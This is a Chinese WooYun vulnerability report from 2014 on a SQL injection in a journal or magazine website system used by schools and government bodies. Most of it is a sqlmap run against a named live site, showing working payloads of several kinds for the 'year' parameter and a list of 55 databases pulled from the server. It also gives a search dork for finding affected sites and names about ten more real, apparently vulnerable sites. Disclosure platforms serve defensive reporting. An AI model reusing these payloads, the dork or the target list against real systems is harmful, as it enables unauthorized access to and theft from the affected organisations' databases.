当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-083488

漏洞标题:某杂志系统通用性注入

相关厂商:cncert.cn

漏洞作者: 郭斯特

提交时间:2014-11-18 19:04

修复时间:2015-02-16 19:06

公开时间:2015-02-16 19:06

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-18: 细节已通知厂商并且等待厂商处理中
2014-11-21: 厂商已经确认,细节仅向厂商公开
2014-11-24: 细节向第三方安全合作伙伴开放
2015-01-15: 细节向核心白帽子及相关领域专家公开
2015-01-25: 细节向普通白帽子公开
2015-02-04: 细节向实习白帽子公开
2015-02-16: 细节向公众公开

简要描述:

rt~
涉及部分学校以及部分政府相关部门

详细说明:

inurl:/Magazine/NewMagazine.aspx

wooyun.png


Magazine/Default.aspx?year=2014&IssueID=1
参数year=
http://www.jcadcg.com/Magazine/Default.aspx?year=2014&IssueID=1
E:\Users\ghost\Desktop\sqlmap>sqlmap.py -u "http://www.jcadcg.com/Magazine/Defau
lt.aspx?year=2014&IssueID=1" --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 12:33:09
[12:33:09] [INFO] resuming back-end DBMS 'microsoft sql server'
[12:33:09] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: year
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: year=2014 AND 4747=4747&IssueID=1
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: year=2014 AND 1916=CONVERT(INT,(CHAR(58) CHAR(111) CHAR(120) CHAR(9
7) CHAR(58) (SELECT (CASE WHEN (1916=1916) THEN CHAR(49) ELSE CHAR(48) END)) CHA
R(58) CHAR(102) CHAR(113) CHAR(111) CHAR(58)))&IssueID=1
Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: year=2014 UNION ALL SELECT CHAR(58) CHAR(111) CHAR(120) CHAR(97) CH
AR(58) CHAR(101) CHAR(120) CHAR(66) CHAR(116) CHAR(85) CHAR(66) CHAR(72) CHAR(80
) CHAR(90) CHAR(117) CHAR(58) CHAR(102) CHAR(113) CHAR(111) CHAR(58)-- &IssueID=
1
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase OR time-based blind (heavy query)
Payload: year=-9721 OR 2935=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers
AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysu
sers AS sys7)&IssueID=1
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: year=(SELECT CHAR(58) CHAR(111) CHAR(120) CHAR(97) CHAR(58) (SELECT
(CASE WHEN (2731=2731) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(102) CHA
R(113) CHAR(111) CHAR(58))&IssueID=1
---
[12:33:11] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[12:33:11] [INFO] fetching database names
[12:33:12] [INFO] the SQL query used returns 64 entries
[12:33:13] [INFO] retrieved: "20090706_dndxxbm"
[12:33:14] [INFO] retrieved: "20090712_xdyx"
[12:33:14] [INFO] retrieved: "20091120_zgyxyxzz"
[12:33:15] [INFO] retrieved: "2012SYZLZZ"
[12:33:16] [INFO] retrieved: "20131107gjcsgh"
[12:33:16] [INFO] retrieved: "APPDB_DGKZXGH"
[12:33:17] [INFO] retrieved: "BookoesDB"
[12:33:17] [INFO] retrieved: "DGYKZServer"
[12:33:18] [INFO] retrieved: "DYJS"
[12:33:18] [INFO] retrieved: "GJCSGHMeeting_CaiBian"
[12:33:19] [INFO] retrieved: "GJCSMeeting"
[12:33:19] [INFO] retrieved: "GJWKX"
[12:33:20] [INFO] retrieved: "GWJS_CoreTechnology_Data"
[12:33:21] [INFO] retrieved: "GZQX"
[12:33:21] [INFO] retrieved: "hjwsxzz_data"
[12:33:22] [INFO] retrieved: "JSJXB"
[12:33:22] [INFO] retrieved: "kgr_data"
[12:33:23] [INFO] retrieved: "master"
[12:33:23] [INFO] retrieved: "MedicineServer_old8"
[12:33:24] [INFO] retrieved: "mkxyjs"
[12:33:25] [INFO] retrieved: "model"
[12:33:25] [INFO] retrieved: "msdb"
[12:33:26] [INFO] retrieved: "QHQX_Data"
[12:33:26] [INFO] retrieved: "rclcl"
[12:33:27] [INFO] retrieved: "ReportServer$BOOKOES"
[12:33:28] [INFO] retrieved: "ReportServer$BOOKOESTempDB"
[12:33:28] [INFO] retrieved: "sckx"
[12:33:29] [INFO] retrieved: "SDDX01_Data"
[12:33:30] [INFO] retrieved: "SDDX02_Data"
[12:33:31] [INFO] retrieved: "SDDX03_Data"
[12:33:32] [INFO] retrieved: "tempdb"
[12:33:33] [INFO] retrieved: "UniteServer"
[12:33:33] [INFO] retrieved: "Welfare_DJH"
[12:33:34] [INFO] retrieved: "wkt11"
[12:33:35] [INFO] retrieved: "WKTDB"
[12:33:36] [INFO] retrieved: "WKTDB_MEET_XD"
[12:33:37] [INFO] retrieved: "xjykddx"
[12:33:37] [INFO] retrieved: "XNJYZZ"
[12:33:38] [INFO] retrieved: "xzDB_2014"
[12:33:39] [INFO] retrieved: "YPPJ"
[12:33:39] [INFO] retrieved: "YXZS_DATA_2012"
[12:33:41] [INFO] retrieved: "YYYZL"
[12:33:43] [INFO] retrieved: "zgba_data2012"
[12:33:44] [INFO] retrieved: "zggwjs_data"
[12:33:45] [INFO] retrieved: "ZGGZL"
[12:33:46] [INFO] retrieved: "ZGGZL_EN"
[12:33:49] [INFO] retrieved: "zghtlcyx"
[12:33:49] [INFO] retrieved: "ZGJKJY"
[12:33:50] [INFO] retrieved: "zgsjmyxzz"
[12:33:50] [INFO] retrieved: "zgszyx"
[12:33:51] [INFO] retrieved: "ZGXLWS"
[12:33:52] [INFO] retrieved: "Zgxxg_Web"
[12:33:53] [INFO] retrieved: "ZGXXGKF_DATA"
[12:33:54] [INFO] retrieved: "zgxy_data"
[12:33:54] [INFO] retrieved: "zgxzDataBase"
[12:33:55] [WARNING] user aborted during enumeration. sqlmap will display partia
l output
available databases [55]:
[*] 20090706_dndxxbm
[*] 20090712_xdyx
[*] 20091120_zgyxyxzz
[*] 2012SYZLZZ
[*] 20131107gjcsgh
[*] APPDB_DGKZXGH
[*] BookoesDB
[*] DGYKZServer
[*] DYJS
[*] GJCSGHMeeting_CaiBian
[*] GJCSMeeting
[*] GJWKX
[*] GWJS_CoreTechnology_Data
[*] GZQX
[*] hjwsxzz_data
[*] JSJXB
[*] kgr_data
[*] master
[*] MedicineServer_old8
[*] mkxyjs
[*] model
[*] msdb
[*] QHQX_Data
[*] rclcl
[*] ReportServer$BOOKOES
[*] ReportServer$BOOKOESTempDB
[*] sckx
[*] SDDX01_Data
[*] SDDX02_Data
[*] SDDX03_Data
[*] tempdb
[*] UniteServer
[*] Welfare_DJH
[*] wkt11
[*] WKTDB
[*] WKTDB_MEET_XD
[*] xjykddx
[*] XNJYZZ
[*] xzDB_2014
[*] YPPJ
[*] YXZS_DATA_2012
[*] YYYZL
[*] zgba_data2012
[*] zggwjs_data
[*] ZGGZL
[*] ZGGZL_EN
[*] zghtlcyx
[*] ZGJKJY
[*] zgsjmyxzz
[*] zgszyx
[*] ZGXLWS
[*] Zgxxg_Web
[*] ZGXXGKF_DATA
[*] zgxy_data
[*] zgxzDataBase
[12:33:55] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 56 times
[12:33:55] [INFO] fetched data logged to text files under 'E:\Users\ghost\Deskto
p\sqlmap\output\www.jcadcg.com'
[*] shutting down at 12:33:56
E:\Users\ghost\Desktop\sqlmap>sqlmap.py -u "http://www.jcadcg.com/Magazine/Defau
lt.aspx?year=2014&IssueID=1" --dbs

wooyun.png


http://www.xjmuxb.com/Magazine/Default.aspx?Year=2014&issue=1

wooyun.png


http://rkyjj.cueb.edu.cn/Magazine/Default.aspx?Year=2014&issue=1

wooyun.png


http://www.ebcvm.org/Magazine/Default.aspx?Year=2014&issue=1

wooyun.png


http://www.jfjyxzz.org.cn/Magazine/Default.aspx?year=2014"

wooyun.png


漏洞证明:

http://www.cjnnnet.com/Magazine/Default.aspx?Year=2014" --level 3 --current-user

wooyun.png


http://www.cjb304.com/Magazine/Default.aspx?Year=2014&issue=3

wooyun.png


http://www.hjwsxzz.com/Magazine/Default.aspx?year=2014&issue=2
http://www.guojihuxi.com/Magazine/Default.aspx?year=2014
http://www.aiph.org.cn/Magazine/Default.aspx?year=2014&issue=4

修复方案:

过滤

版权声明:转载请注明来源 郭斯特@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:16

确认时间:2014-11-21 16:50

厂商回复:

最新状态:

暂无


漏洞评价:

评论